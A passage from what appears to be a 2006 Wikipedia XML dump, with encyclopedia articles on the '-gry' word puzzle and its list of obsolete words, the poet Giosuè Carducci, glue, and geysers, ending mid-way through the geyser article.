*{{imdb name | id=0000997 | name=Gary Busey}}
*[http://buseyworld.com/ Busey World]
*[http://web.archive.org/web/20041118061617/http://www.comedycentral.com/tv_shows/imwithbusey/ I'm with Busey homepage]

[[Category:1944 births|Busey, Gary]]
[[Category:American actors|Busey, Gary]]
[[Category:Best Actor Oscar Nominee|Busey, Gary]]
[[Category:Christian actors|Busey, Gary]]
[[Category:Irish-Americans|Busey, Gary]]
[[Category:Law &amp; Order actors|Busey, Gary]]
[[Category:Living people|Busey, Gary]]
[[Category:People from Texas|Busey, Gary]]

[[de:Gary Busey]]
[[ja:ゲイリー・ビジー]]
[[simple:Gary Busey]]
[[sv:Gary Busey]]</text>
    </revision>
  </page>
  <page>
    <title>Gry</title>
    <id>13031</id>
    <revision>
      <id>41839839</id>
      <timestamp>2006-03-02T02:05:34Z</timestamp>
      <contributor>
        <username>Blotwell</username>
        <id>106585</id>
      </contributor>
      <comment>/* External links */ rv Polish spam (&quot;gry&quot; is Polish for &quot;games&quot;...)</comment>
      <text xml:space="preserve">:'''''Gry''' is also an obsolete unit of measurement, equal to 1/10 of a line, which is in turn 1/12 of an [[inch]]. Hence, a gry is 1/120 inch or about 0.212 [[metre|mm]].''

The '''-Gry Puzzle''' is a popular puzzle that asks for the third [[English Language|English]] word, other than &quot;angry&quot; and &quot;hungry,&quot; that ends with the letters &quot;gry.&quot; Aside from words derived from &quot;angry&quot; and &quot;hungry,&quot; there is no stand-alone word ending in &quot;gry&quot; that is in current usage. Both ''[[Webster's Third New International Dictionary]] of the English Language, Unabridged'' (Merriam-Webster, Inc., 2002, ISBN 0877792011) and the ''[[Oxford English Dictionary]], Second Edition'' (Oxford University Press, 1989, ISBN 0198611862) contain the phrase &quot;aggry bead.&quot; To find a third word ending in &quot;gry&quot; that is not part of a phrase, you must turn to obsolete words or personal or place names. A
[[Gry#List of obsolete words, phrases, and names ending in gry|list of 130]]
of these is given at the end of this article.

So, basically, this puzzle has no good answer. Yet it has become the most frequently asked word puzzle. It is so common that it is a standing joke [http://listserv.dom.edu/cgi-bin/wa.exe?A2=ind9910&amp;L=STUMPERS-L&amp;P=R39908&amp;m=98684] on the Stumpers reference librarian list server [http://domin.dom.edu/depts/gslis/stumpers/] that it's time to
change your car's oil when it is asked anew. The regular readers of the [[Usenet]] newsgroup rec.puzzles [http://rec-puzzles.org/new] coined the word &quot;nugry&quot; [http://groups.google.com/groups?q=gry+limerick&amp;hl=en&amp;lr=&amp;ie=UTF-8&amp;oe=UTF-8&amp;selm=638539%24bsv%241%40nntp.Stanford.EDU&amp;rnum=1] to describe a (presumably) new reader who posts a frequently asked question.

==History==

[[Merriam-Webster]], publishers of the leading American dictionaries, first heard of this puzzle in a [[Media:Lasker.pdf|letter]] dated [[March 17]], [[1975]], from Patricia Lasker of [[Brooklyn, New York]]. Lasker says her Plant Manager heard the question on a [[quiz show]]. Since that time Merriam-Webster has received about four letters per year asking the question.

This puzzle first appears in print in Anita Richterman's &quot;Problem Line&quot; column 
in ''Newsday'' on [[April 29]], [[1975]]. One &quot;M.Z.&quot; from Wantagh states that the problem was asked on a TV quiz program. Richterman states that she asked a learned professor of English for help when she first received the inquiry, and he did not respond for over a month. So the quiz show probably occurred in March.

In Anita Richterman's column on [[May 9]], [[1975]], several correspondents reported that they had heard the puzzle on the [[Bob Grant (radio)|Bob Grant]] radio talk show on [[WMCA]] in New York City. However, as this is not a TV quiz show, this may not be the origin of the puzzle, although it is also likely people were mistaken about the medium on which the show was broadcast. The majority of readers gave the answer &quot;gry,&quot; one of the obsolete words
[[Gry#List of obsolete words, phrases, and names ending in gry|listed]] at the end of this article. It is unclear whether this was the answer given on the Grant show.

Ralph G. Beaman in the &quot;Kickshaws&quot; column in [http://wordways.com ''Word Ways''] for February 1976 reports that the Delaware Valley was mystified during the Fall of 1975 by the question. By this time the puzzle seems to have mutated to a form in which the missing word is an adjective that describes the state of the world.

However, some people remember a different version of this puzzle dating it back before 1975. For example, someone named &quot;Rush Elkins&quot; emailed the editors of [http://yourdictionary.com/library/article008.html yourDictionary] with this report:

:''I first heard the &quot;gry&quot; riddle posed in slightly different form in 1969 or 1970. I was then in graduate school at University of Florida and in the habit of meeting with a group of friends every Wednesday evening for dinner, drinks, and conversation. One of those evenings, someone challenged the group to find three common English words containing the letter combination &quot;gry.&quot; I'm sure that there was no stipulation on the placement of &quot;gry&quot; because I recall someone suggesting that it might occur at the boundary of a compound word. (That turns out to lead nowhere.)''

:''A year or two later, I encountered the word &quot;gryphon&quot; in a book, had one of those aha! experiences, and presented my find at the next meeting as a sort of trophy. Although not exactly an everyday sort of word, &quot;gryphon&quot; appears in most dictionaries and is understood by most literate English readers.''

If these memories are accurate, then perhaps in 1975 a subtle flaw was introduced into an otherwise commonplace word puzzle. Instead of asking for three words that contain &quot;gry,&quot; the flawed version asks for three words that end in &quot;gry.&quot; Presumably the person who asked the question did
not know the answer and, in repeating the question, simply misstated it. Since the flawed version has no good answer, an explosion of searching followed.

==Alternate versions==

Some of the trick versions are enumerated below.

#This version only works when spoken: There are three words in English that end in &quot;gree.&quot; The first two are &quot;angry&quot; and &quot;hungry,&quot; and if you've listened closely, you'll agree that I've already told you the third one.
#*The answer is &quot;agree.&quot; 
#There are three words in the English language that end in the letters g-r-y. Two are &quot;hungry&quot; and &quot;angry.&quot; Everyone knows what the third word means, and everyone uses it every day. What is the third word?
#*The answer is &quot;energy.&quot; The riddle says that the word ends in the letters g-r-y; it says nothing about the order of the letters. 
#The [http://www.marilynvossavant.com &quot;Ask Marilyn&quot;] ([[Marilyn vos Savant]]) column in [http://parade.com/homepage.html Parade magazine] on [[March 9]] [[1997]] featured this spoken version: There are at least three words in the English language that end in g or y. One of them is &quot;hungry,&quot; and another one is &quot;angry.&quot; There is a third word, a short one, which you probably say every day. If you are listening carefully to everything I say, you just heard me say it three times. What is it?
#*The answer is &quot;say.&quot; This version depends upon the listener confusing the spoken word &quot;or&quot; and the spoken letter r.
#There are three words in the English language that end in &quot;gry.&quot; Two words that end in &quot;gry&quot; are &quot;hungry&quot; and &quot;angry.&quot; Everyone knows what the third word means, and everyone uses them every day. If you listened very carefully, I have already stated to you what the third word is. The three words that solve this riddle are...?
#*The answer is the three-word sentence &quot;I am hungry.&quot; This version asks for three words that end in &quot;gry,&quot; not three words each of which end in &quot;gry.&quot;
#This version is a play on the use-mention ambiguity exploited by other versions: I know two words that end in &quot;gry.&quot; Neither one is angry or hungry. What are they?
#*The answer is &quot;angry&quot; and &quot;hungry.&quot; Since these are words, they are not angry or hungry.
#Here is a version invented by Frank Rubin on [[December 4]] [[2003]]: Give me 3 English words, commonly spoken, ending in g-r-y.
#*There are many possible answers, such as &quot;Beg for mercy,&quot; or &quot;Bring your money.&quot;
#There are three words in the English language that end g-r-y. One is &quot;angry,&quot; another is &quot;hungry.&quot; The third word is something that &quot;everyone&quot; uses. If you have listened carefully, I have already told you what it is.
#*The answer is &quot;every,&quot; and the logic is as follows: There are three words, ending g, r and y. The first is &quot;fuming,&quot; ending in g and meaning angry. The second is &quot;eager,&quot; ending in r and meaning hungry. The third is &quot;every,&quot; ending in y and clearly something that the word &quot;everyone&quot; uses.

The remaining versions are a form of meta-puzzle, in the sense that they make no use of the actual letters &quot;gry&quot; themselves, which therefore are a [[red herring]]. The red herring only works because there is another puzzle that does use these letters (even though that puzzle has no good answer).

#On [[March 28]] [[1996]], one such version was broadcast on WHTZ in New York City during &quot;The Elvis Duran Afternoon Show.&quot; The person asking the question was a caller who worked in a beauty salon at a mall somewhere in NJ: Think of words ending in &quot;gry.&quot; Angry and hungry are two of them. There are only three words in &quot;the English language.&quot; What is the third word? The word is something that everyone uses everyday. If you have listened carefully, I have already told you what it is.
#*The answer to this version is &quot;language&quot; -- the third word in the phrase &quot;the English language.&quot; There are quotation marks needed to make this answer correct when the puzzle is printed, but they give away the trick.
#Angry and hungry are two words in the English language that end in &quot;gry.&quot; &quot;What&quot; is the third word. The word is something that everyone uses everyday. If you have listened carefully, I have already told you what it is.
#*The answer is &quot;what.&quot; But again, the quotation marks spoil the puzzle when it is printed.
#There are three words in the English language that end with &quot;gry.&quot; Two of these are &quot;angry&quot; and &quot;hungry.&quot; The third word is a very common word, and you use it often. If you have read what I have told you, you will see that I have given you the third word. What is the third word? Think very carefully.
#*The answer is &quot;three,&quot; the third word in the paragraph. The rest of the paragraph is a red herring.
#This version is usually stated with the word &quot;one&quot; capitalized, which is a hint at the solution: There are three words in the English language that end in &quot;gry.&quot; The first ONE is &quot;hungry,&quot; the second is &quot;angry,&quot; and the third everyONE uses everyday. If you have read this carefully I have given a clue.
#*The answer is supposedly &quot;one,&quot; which is the third &quot;one.&quot; Probably because this answer does not make much sense, this version has a variant which contains more instances of the capitalized word &quot;one.&quot; The idea is that the capitalized &quot;one&quot; is a hint for the letter a, which when prefixed to the sound &quot;gree&quot; yields the answer word &quot;agree.&quot;

==List of obsolete words, compound words, and names ending in gry==
&lt;pre&gt;
[Explanation of references is given at the end of the list.]

affect-hungry [OED (see &quot;sado-masochism&quot;)]
aggry [OED:1:182; W2; W3]
Agry [OED (see &quot;snappily&quot;)]
Agry Dagh (Mount Agry) [EB11]
ahungry [OED:1:194; FW; W2]
air-hungry [OED (see &quot;Tel Avivian&quot;)]
angry [OED; FW; W2; W3]
anhungry [OED:1:332; W2]
Badagry [Johnston; EB11; OED (see &quot;Dahoman&quot;)]
Ballingry [Bartholomew:40; CLG:151; RD:164, pl.49]
begry [OED:1:770,767]
bewgry [OED:1:1160]
boroughmongry [OED (see &quot;boroughmonger&quot;)]
bowgry [OED:1:1160]
braggry [OED:1:1047]
Bugry [TIG]
Chockpugry [Worcester]
Cogry [BBC]
cony-gry [OED:2:956]
conyngry [OED:2:956]
cottagry [OED (see &quot;cottagery&quot;)]
Croftangry [DFC, as &quot;Chrystal Croftangry&quot;; OED (see &quot;way&quot;)]
diamond-hungry [OED (see &quot;Lorelei&quot;)]
dog-hungry [W2]
dogge-hungry [OED (see &quot;canine&quot;)]
Dshagry [Stieler]
Dzagry [Andree]
eard-hungry [CED (see &quot;yird&quot;); CSD]
Echanuggry [Century:103-104, on inset map, Key 104 M 2]
Egry [France; TIG]
euer-angry [OED (see &quot;ever&quot;)]
ever-angry [W2]
fenegry [OED (see &quot;fenugreek&quot;)]
fire-angry [W2]
Gagry [EB11]
girl-hungry [OED (see &quot;girl&quot;)]
gonagry [OED (see &quot;gonagra&quot;)]
gry (from Latin _gry_) [OED:4/2:475; W2]
gry (from Romany _grai_) [W2]
haegry [EDD (see &quot;hagery&quot;)]
half-angry [W2]
hangry [OED:1:329]
heart-angry [W2]
heart-hungry [W2]
higry pigry [OED:5/1:285]
hogry [EDD (see &quot;huggerie&quot;); CSD]
hogrymogry [EDD (see &quot;huggerie&quot;); CSD (as &quot;hogry-mogry&quot;)]
hongry [OED:5/1:459; EDD:3:282]
hound-hungry [OED (see &quot;hound&quot;)]
houngry [OED (see &quot;minx&quot;)]
huggrymuggry [EDD (see &quot;huggerie&quot;); CSD (as &quot;huggry-muggry&quot;)]
hund-hungry [OED (see &quot;hound&quot;)]
hungry [OED; FW; W2; W3]
Hungry Bungry [Daily Illini, in ad for The Giraffe, Spring 1976]
hwngry [OED (see &quot;quart&quot;)]
iggry [OED]
Jagry [EB11]
job-hungry [OED (see &quot;gadget&quot;)]
kaingry [EDD (see &quot;caingy&quot;)]
land-hungry [OED; W2]
Langry [TIG; Times]
leather-hungry [OED]
ledderhungry [OED (see &quot;leather&quot;)]
life-hungry [OED (see &quot;music&quot;)]
Lisnagry [Bartholomew:489]
losengry [OED (see &quot;losengery&quot;)]
MacLoingry [Phillips (as &quot;Flaithbhertach MacLoingry&quot;)]
mad-angry [OED:6/2:14]
mad-hungry [OED:6/2:14]
magry [OED:6/2:36, 6/2:247-48]
malgry [OED:6/2:247]
man-hungry [OED]
managry [OED (see &quot;managery&quot;)]
mannagry [OED (see &quot;managery&quot;)]
Margry [Indians (see &quot;Pierre Margry&quot; in bibliog., v.2, p.1204)]
maugry [OED:6/2:247-48]
mawgry [OED:6/2:247]
meagry [OED:6/2:267]
meat-hungry [W2; OED (see &quot;meat&quot;)]
menagry [OED (see &quot;managery&quot;)]
messagry [OED]
music-hungry [OED (see &quot;music&quot;)]
nangry [OED]
overangry [RH1; RH2]
Pelegry [CE (in main index as &quot;Raymond de Pelegry&quot;)]
Pingry [Bio-Base; HPS:293-94, 120-21]
Podagry [OED; W2 (below the line)]
Pongry [Andree (Supplement, p.572)]
pottingry [OED:7/2:1195; Jamieson:3:532]
power-hungry [OED (see &quot;power&quot;)]
profit-hungry [OED (see &quot;profit&quot;)]
puggry [OED:8/1:1573; FW; W2]
pugry [OED:8/1:1574]
red-angry [OED (see &quot;sanguineous&quot;)]
rungry [EDD:5:188]
scavengry [OED (in 1715 quote under &quot;scavengery&quot;)]
Schtschigry [LG/1:2045; OSN:97]
Seagry [TIG; EB11]
Segry [Johnston; Andree]
self-angry [W2]
selfe-angry [OED (see &quot;self-&quot;)]
sensation-hungry [OED (see &quot;sensation&quot;)]
sex-angry [OED (see &quot;sex&quot;)]
sex-hungry [OED (see &quot;cave&quot;)]
Shchigry [CLG:1747; Johnson:594; OSN:97,206; Times:185,pl.45]
shiggry [EDD]
Shtchigry [LG/1:2045; LG/2:1701]
Shtshigry [Lipp]
sight-hungry [OED (see &quot;sight&quot;)]
skugry [OED:9/2:156, 9/1:297; Jamieson:4:266]
Sygry [Andree]
Tangry [France]
Tchangry [Johnson:594; LG/1:435,1117]
Tchigry [Johnson:594]
tear-angry [W2]
th'angry [OED (see &quot;shot-free&quot;)]
tike-hungry [CSD]
Tingry [France; EB11 (under &quot;Princesse de Tingry&quot;); OED (see &quot;parquet&quot;)]
toggry [Simmonds (as &quot;Toggry&quot;, but all entries are capitalized)]
ulgry [Partridge; Smith:24-25]
unangry [OED; W2]
vergry [OED:12/1:123]
Vigry [CLG:2090]
vngry [OED (see &quot;wretch&quot;)]
war-hungry [OED (see &quot;war&quot;)]
Wigry [CLG:2090; NAP:xxxix; Times:220, pl.62; WA:948]
wind-hungry [W2]
yeard-hungry [CED (see &quot;yird&quot;)]
yerd-hungry [CED (see &quot;yird&quot;); OED]
yird-hungry [CED (see &quot;yird&quot;)]
Ymagry [OED:1:1009 (col. 3, 1st &quot;boss&quot; verb), (variant of &quot;imagery&quot;)]
&lt;/pre&gt;
This list was gathered from the following articles:

*Ralph G. Beaman, Kickshaws, ''Word Ways'' 9:1 (Feb. 1976) p. 43&lt;br&gt;
*George H. Scheetz, In Goodly Gree: With Goodwill, ''Word Ways'' 22:4 (Nov. 1989)&lt;br&gt;
*Murray R. Pearce, Who's Flaithbhertach MacLoingry?, ''Word Ways'' 23:1 (Feb. 1990)&lt;br&gt;
*Harry B. Partridge, Gypsy Hobby Gry, ''Word Ways'' 23:1 (Feb. 1990)&lt;br&gt;
*A. Ross Eckler, -Gry Words in the OED, ''Word Ways'' 25:4 (Nov. 1992)&lt;br&gt;
*Darryl Francis, Some New -Gry Words, ''Word Ways'' 30:3 (Aug. 1997)

==References==

(Many references are of the form [Source:volume:page] or [Source:page].)

&lt;pre&gt;
Andree, Richard. Andrees Handatlas (index volume). 1925.
Bartholomew, John. Gazetteer of the British Isles: Statistical and Topographical. 1887.
BBC = BBC Pronouncing Dictionary of English Names.
Bio-Base. (Microfiche) Detroit: Gale Research Company. 1980.
CE = Catholic Encyclopedia. 1907.
CED = Chambers English Dictionary. 1988.
Century = &quot;India, Northern Part.&quot; The Century Atlas of the World. 1897, 1898.
CLG = The Colombia Lippincott Gazetteer of the World. L.E.Seltzer, ed. 1952.
CSD = Chambers Scots Dictionary. 1971 reprint of 1911 edition.
Daily Illini (University of Illinois at Urbana-Champaign).
DFC = Dictionary of Fictional Characters. 1963.
EB11 = Encyclopedia Britannica, 11th ed.
EDD = The English Dialect Dictionary. Joseph Wright, ed. 1898.
France = Map Index of France. G.H.Q. American Expeditionary Forces. 1918.
FW = Funk &amp; Wagnalls New Standard Dictionary of the English Language. 1943.
HPS = The Handbook of Private Schools: An Annual Descriptive Survey of Independent Education, 66th ed. 1985.
Indians = Handbook of American Indians North of Mexico. F. W. Hodge. 1912.
Jamieson, John. An Etymological Dictionary of the Scottish Language. 1879-87.
Johnston, Keith. Index Geographicus... 1864.
LG/1 = Lippincott's Gazetteer of the World: A Complete Pronouncing Gazetteer or Geographical Dictionary of the World. 1888.
LG/2 = Lippincott's New Gazetteer: ... 1906.
Lipp = Lippincott's Pronouncing Gazetteer of the World. 1861, undated edition from late 1800's; 1902.
NAP = Narodowy Atlas Polski. 1973-1978 [Polish language]
OED = The Oxford English Dictionary. 1933. [Form: OED:volume/part number if applicable:page]
OSN: U.S.S.R. Volume 6, S-T. Official Standard Names Approved by the United States Board on Geographic Names. Gazetteer #42, 2nd ed. June 1970.
Partridge, Harry B. &quot;Ad Memoriam Demetrii.&quot; Word Ways, 19 (Aug. 1986): 131.
Phillips, Lawrence. Dictionary of Biographical Reference. 1889.
RD = The Reader's Digest Complete Atlas of the British Isles, 1st ed. 1965.
RH1 = Random House Dictionary of the English Language, Unabridged. 1966.
RH2 = Random House Dictionary of the English Language, Second Edition Unabridged. 1987.
Simmonds, P.L. Commercial Dictionary of Trade Products. 1883.
Smith, John. The True Travels, Adventvres and Observations: London 1630.
Stieler, Adolph. Stieler's Handatlas (index volume). 1925.
TIG = The Times Index-Gazetteer of the World. 1965.
Times = The Times Atlas of the World, 7th ed. 1985.
W2 = Webster's New International Dictionary of the English Language, Second Edition, Unabridged. 1934.
W3 = Webster's Third New International Dictionary of the English Language, Unabridged. 1961.
WA = The World Atlas: Index-Gazetteer. Council of Ministries of the USSR, 1968.
Worcester, J.E. Universal Gazetteer, Second Edition. 1823.
&lt;/pre&gt;

==External links==

*[http://www.geocities.com/loisnotlane/gry.html The ''gry'' riddle extensively explored by a librarian who's answered the question one too many times]
*[http://www.askoxford.com/asktheexperts/faq/aboutwords/gry Oxford Dictionaries &amp;ndash; Ask the experts]
*[http://www.straightdope.com/classics/a3_251.html The Straight Dope: What are the three English words ending in -gry?]

[[Category:Word puzzles]]
[[Category:Lists of English words]]</text>
    </revision>
  </page>
  <page>
    <title>Giosuè Carducci</title>
    <id>13032</id>
    <revision>
      <id>38668693</id>
      <timestamp>2006-02-07T21:39:47Z</timestamp>
      <contributor>
        <username>Josteinn</username>
        <id>570474</id>
      </contributor>
      <minor />
      <comment>+no</comment>
      <text xml:space="preserve">'''Giosuè Carducci''' ([[July 27]], [[1835]] &amp;ndash; near [[Lucca]], [[February 16]], [[1907]]) was an Italian poet, one of Italy's greatest, and a teacher. He was very influential and was regarded as the unofficial [[national poet]] of modern [[Italy]].

He was born in [[Val di Castello]], a small town in the northwest corner of [[Tuscany]] near [[Pisa]]. His father, a doctor, was an advocate of the unification of Italy. Because of his politics, the family was forced to move several times during Giosuè's childhood, eventually settling for a few years in [[Florence]].

From the time he was in college, he was fascinated with the restrained style of Greek and Roman antiquity, and his mature work reflects a restrained classical style. He translated Book&amp;nbsp;9 of [[Homer]]'s ''[[Iliad]]'' into Italian.

He received his Ph.D. in [[1856]] from the [[Scuola Normale Superiore di Pisa]] and began teaching school. The following year, he published his first collection of poems, ''Rime''. These were difficult years for Carducci; his father died, and his brother committed suicide.

In 1859, he married Elvira Menicucci, and they had four children. He briefly taught Greek at a high school in Pistoia, and then was appointed Italian professor at the university in [[Bologna]]. He was a popular lecturer and a fierce critic of literature and society. His political views were consistently opposed to Christianity generally and the secular power of the Catholic Church in particular. 

“I know neither truth of God nor peace with the Vatican or any priests. They are the real and unaltering enemies of Italy.” he said in his later years.{{ref|nopeace}}

This anti-clerical revolutionary zeal is prominently showcased in his most famous poem, the deliberately blasphemous and provocative &quot;Inno a Satana&quot; (or &quot;Hymn to Satan&quot;.) The poem was composed in 1863 as a dinner party toast, published in 1865, then republished in 1869 by Bologna’s radical newspaper, ''Il Popolo'', as a provocation timed to coincide with the 20th Vatican Ecumenical Council, a time when revolutionary fervor directed against the papacy was running high as republicans pressed both politically and militarily for an end of the Vatican’s domination over the papal states.{{ref|Satana}} 

While &quot;Inno a Satana&quot; had quite a revolutionary impact, Carducci's finest poetry came in later years.  His collections ''Rime Nuove'' (“New Rhymes”) and ''Odi Barbare'' (“Barbaric Odes”) contain his greatest works.

He was the first Italian to win the [[Nobel Prize in Literature]] in [[1906]]. He was also elected a Senator of Italy. {{ref|Senate}}Although his reputation rests primarily on his poetry, he also produced a large body of prose works.  Indeed, his prose writings including literary criticism, biographies, speeches and essays filled some 20 volumes. {{ref|prose}}

==Notes==

# {{note|nopeace}}Carelle, A., ''Naturalismo Italiano'', Draghi, Padova 1911, cited at http://www.infidels.org/library/historical/joseph_mccabe/dictionary.html
# {{note|satana}}''Carducci, Giosue, Selected Verse/ Giosue Carducci: edited with a translation, introduction and commentary by David H. Higgins'', (Aris &amp; Phillips; Warminster, England), 1994.  See also: Bailey, John Cann, &quot;Carducci - The Taylorian Lecture,&quot; (Clarendon Press, Oxford) 1926.
# {{note|Senate}}Scalia, Samuel Eugene, ''Carducci'', (S.F. Vanni, Inc., New York) 1937.
# {{note|prose}}''Selections from Carducci; Prose and Poetry with introduction, notes and vocabulary by A. 
Marinoni'', (William R. Jenkins Co.; New York) 1913. pp vii - ix

==Trivia==
In [[Thomas Mann]]'s novel, [[The Magic Mountain]], the character of Herr Settembrini is described as a student of Carducci and describes him as a great poet and [[free thinker]], even quoting from Carducci's &quot;Hymn to [[Satan]]&quot;.

{{start box}}
{{succession box | before = [[Henryk Sienkiewicz]] | title = [[List of Nobel laureates#Literature|Nobel Prize in Literature winner]] | years =1906 | after = [[Rudyard Kipling]]
}}
{{end box}}




'''Also See'''
* [[Jessie White Mario]]

==External links==
[http://nobelprize.org/literature/laureates/1906/carducci-bio.html Nobel Prize Biography page]


[[Category:1835 births|Carducci]]
[[Category:1907 deaths|Carducci]]
[[Category:Nobel Prize in Literature winners|Carducci]]
[[Category:Italian poets|Carducci]]
[[Category:Natives of Tuscany|Carducci]]
[[Category:National poets|Carducci]]

[[bg:Джозуе Кардучи]]
[[de:Giosuè Carducci]]
[[es:Giosuè Carducci]]
[[eo:Giosuè CARDUCCI]]
[[fr:Giosuè Carducci]]
[[hr:Giosuè Carducci]]
[[it:Giosuè Carducci]]
[[he:ג'וזוא קרדוצ'י]]
[[nl:Giosuè Carducci]]
[[no:Giosuè Carducci]]
[[pl:Giosuè Carducci]]
[[ro:Giosuè Carducci]]
[[ru:Кардуччи, Джозуэ]]
[[sk:Giosuè Carducci]]
[[fi:Giosuè Carducci]]
[[sv:Giosuè Carducci]]</text>
    </revision>
  </page>
  <page>
    <title>Glue</title>
    <id>13033</id>
    <revision>
      <id>41106829</id>
      <timestamp>2006-02-25T02:14:51Z</timestamp>
      <contributor>
        <ip>201.28.111.2</ip>
      </contributor>
      <text xml:space="preserve">Historically, '''glue''' only refers to protein colloids prepared from animal tissues. The meaning has been extended to any type of glue-like substances that are used to attach one material to another.

:''See '''[[adhesive]]'''.''

Specific substances to which &quot;glue&quot; may refer include:

* [[Animal glue]]s
* [[Cyanoacrylate]] (&quot;Super Glue&quot;, &quot;Crazy Glue&quot;)
* [[Polyvinyl acetate]] (PVA) &amp;mdash; white glue and yellow Carpenter's glue (Elmer's glue, Titebond, Lepage) 
* [[Epoxy]] resins
* [[Mucilage]]
* [[Casein]] glue 
* [[Rubber cement]]
* [[Canada balsam]]
* [[Postage stamp gum]]
* [[Scale model]] glue (sometimes called &quot;airplane glue&quot;) - used for building [[polystyrene]] [[model aircraft]], etc. 

== Other meanings ==
* ''Glue'' is the title of a novel, see [[Glue (book)|''Glue'' (book)]].

[[Category:Matter]]
[[Category:Soft matter]]
[[Category:Adhesives]]

{{disambig}}

[[pt:cola]]</text>
    </revision>
  </page>
  <page>
    <title>Geyser</title>
    <id>13034</id>
    <revision>
      <id>41947327</id>
      <timestamp>2006-03-02T20:38:40Z</timestamp>
      <contributor>
        <ip>66.30.57.202</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">:''In British English, &quot;geyser&quot; can also refer to the [[water heating]] system.''

[[Image:Clepsydra Geyser at Fountain Paint Pot in Yellowstone-750px.JPG|250px|thumb|right|Clepsydra Geyser in Yellowstone]]
A '''geyser''' is a type of [[hot spring]] that erupts periodically, ejecting a column of hot [[water]] and [[steam]] into the air.  The name ''geyser'' comes from ''[[Geysir]]'', the name of an erupting spring at [[Haukadalur]], [[Iceland]]; that name, in turn, comes from the [[Iceland|Icelandic]] verb ''gjósa'', &quot;to gush&quot;.

The formation of geysers requires a favourable [[hydrogeology]] which exists in only a few places on Earth, and so they are fairly rare phenomena. About 1000 exist worldwide, with about half of these in [[Yellowstone National Park]], [[USA]] ([[Glennon, J.A.]] 2005). Geyser eruptive activity may change or cease due to ongoing mineral deposition within the geyser plumbing, exchange of functions with nearby hot springs, earthquake influences, and human intervention (Bryan, T.S. 1995).

Erupting fountains of liquefied [[nitrogen]] have been observed on [[Neptune (planet)|Neptune]]'s moon [[Triton (moon)|Triton]]. These phenomena are also often referred to as ''geysers''. On Triton, the geysers appear to be driven by solar heating instead of geothermal energy.  The [[nitrogen]], liquefied by a kind of [[greenhouse effect]], may erupt to heights of 8&amp;nbsp;km.

==Eruptions==
Geyser activity, like all [[hot spring]] activity, is caused by surface water gradually seeping down through the ground until it meets rock heated by [[magma]]. The [[geothermal (geology)|geothermal]]ly heated water then rises back toward the surface by [[convection]] through porous and fractured rock. Geysers differ from noneruptive hot springs in their subterranean structure; many consist of a small vent at the surface connected to one or more narrow tubes that lead to underground reservoirs of water.

[[Image:white dome geyser eruption.jpg|250px|thumb|left|Eruption of White Dome Geyser in Yellowstone]]
As the geyser fills, the water at the top of the column cools off, but because of the narrowness of the channel, convective cooling of the water in the reservoir is impossible.  The cooler water above presses down on the hotter water beneath, not unlike the lid of a [[pressure cooker]], allowing the water in the reservoir to become [[superheating|superheated]], i.e. to remain [[liquid]] at temperatures well above the [[boiling point]].

Ultimately, the temperatures near the bottom of the geyser rise to a point where boiling begins; steam bubbles rise to the top of the column. As they burst through the geyser's vent, some water overflows or splashes out, reducing the weight of the column and thus the pressure on the water underneath.  With this release of pressure, the superheated water flashes into [[steam]], boiling violently throughout the column. The resulting froth of expanding steam and hot water then sprays out of the geyser.

Eventually the water remaining in the geyser cools back to below the boiling point and the eruption ends; heated groundwater begins seeping back into the reservoir, and the whole cycle begins again. The duration of eruptions and time between successive eruptions vary greatly from geyser to geyser; [[Strokkur]] in Iceland erupts for a few seconds every few minutes, while [[Grand Geyser]] in the [[USA]] erupts for up to 10 minutes every 8-12 hours.

==Types of geyser==
[[Image:Vixen Geyser at Norris Geyser Basin in Yellowstone-750px.JPG|300px|thumb|right|Vixen Geyser in Yellowstone]]
There are two types of geyser; ''Fountain geysers'' erupt from pools of water, typically in a series of intense, even violent, bursts; and ''cone geysers'' which erupt from cones or mounds of siliceous sinter (also known as [[geyserite]]), usually in steady jets that last anywhere from a few seconds to several minutes. [[Old Faithful Geyser|Old Faithful]], perhaps the best-known geyser at Yellowstone National Park, is an example of a cone geyser.

The intense transient forces inside erupting geysers are the main reason for their rarity.  There are many volcanic areas in the world that have [[hot spring]]s, [[mud pot]]s and [[fumarole]]s, but very few with geysers. This is because in most places, even where other necessary conditions for geyser activity exist, the rock structure is loose, and eruptions will erode the channels and rapidly destroy any nascent geysers.

Most geysers form in places where there is volcanic [[rhyolite]] rock which dissolves in hot water and forms [[mineral]] deposits called siliceous sinter, or [[geyserite]], along the inside of the plumbing systems. Over time these deposits cement the rock together tightly, strengthening the channel walls and enabling the geyser to persist.

Geysers are fragile phenomena and if conditions change, they can 'die'. Many geysers have been destroyed by people throwing litter and debris into them; others have ceased to erupt due to dewatering by [[geothermal power]] plants. The [[Geysir|Great Geysir of Iceland]] has had periods of activity and dormancy. During its long dormant periods, eruptions were sometimes humanly-induced---often on special occasions---by the addition of [[surfactant]]s to the water. Inducing eruptions at Geysir is no longer done, as the forced eruptions were damaging the geyser's special plumbing system. Following an [[earthquake]] in [[Iceland]] in 2000 the geyser became somewhat more active again. Initially the geyser erupted about eight times a day. As of July 2003, Geysir erupts several times a week.


[[Image:Grand prismatic spring.jpg|right|thumb|300px|Hyperthermophiles produce some of the bright colors of [[Grand Prismatic Spring]], Yellowstone National Park]]
:''Main article: [[Thermophile]], [[Hyperthermophile]].''
The specific colours of geysers derive from the fact that despite the apparently harsh conditions, life is often found in them (and also in other hot [[habitat (ecology)|habitats]]) in the form of [[thermophiles|thermophilic]] [[prokaryote]]s. No known [[eukaryote]] can survive over 60 °C (140 °F).

In the 1960s, when the research of '''biology of geysers''' first appeared, scientists were generally convinced that no life can survive above around 73 °C (163 °F) - the upper limit for the survival of [[cyanobacteria]], as the structure of key cellular [[protein]]s and [[DNA|deoxyribonucleic acid]] (DNA) would be destroyed. The optimal temperature for thermophilic bacteria was placed even lower, around 55 °C (131 °F). 

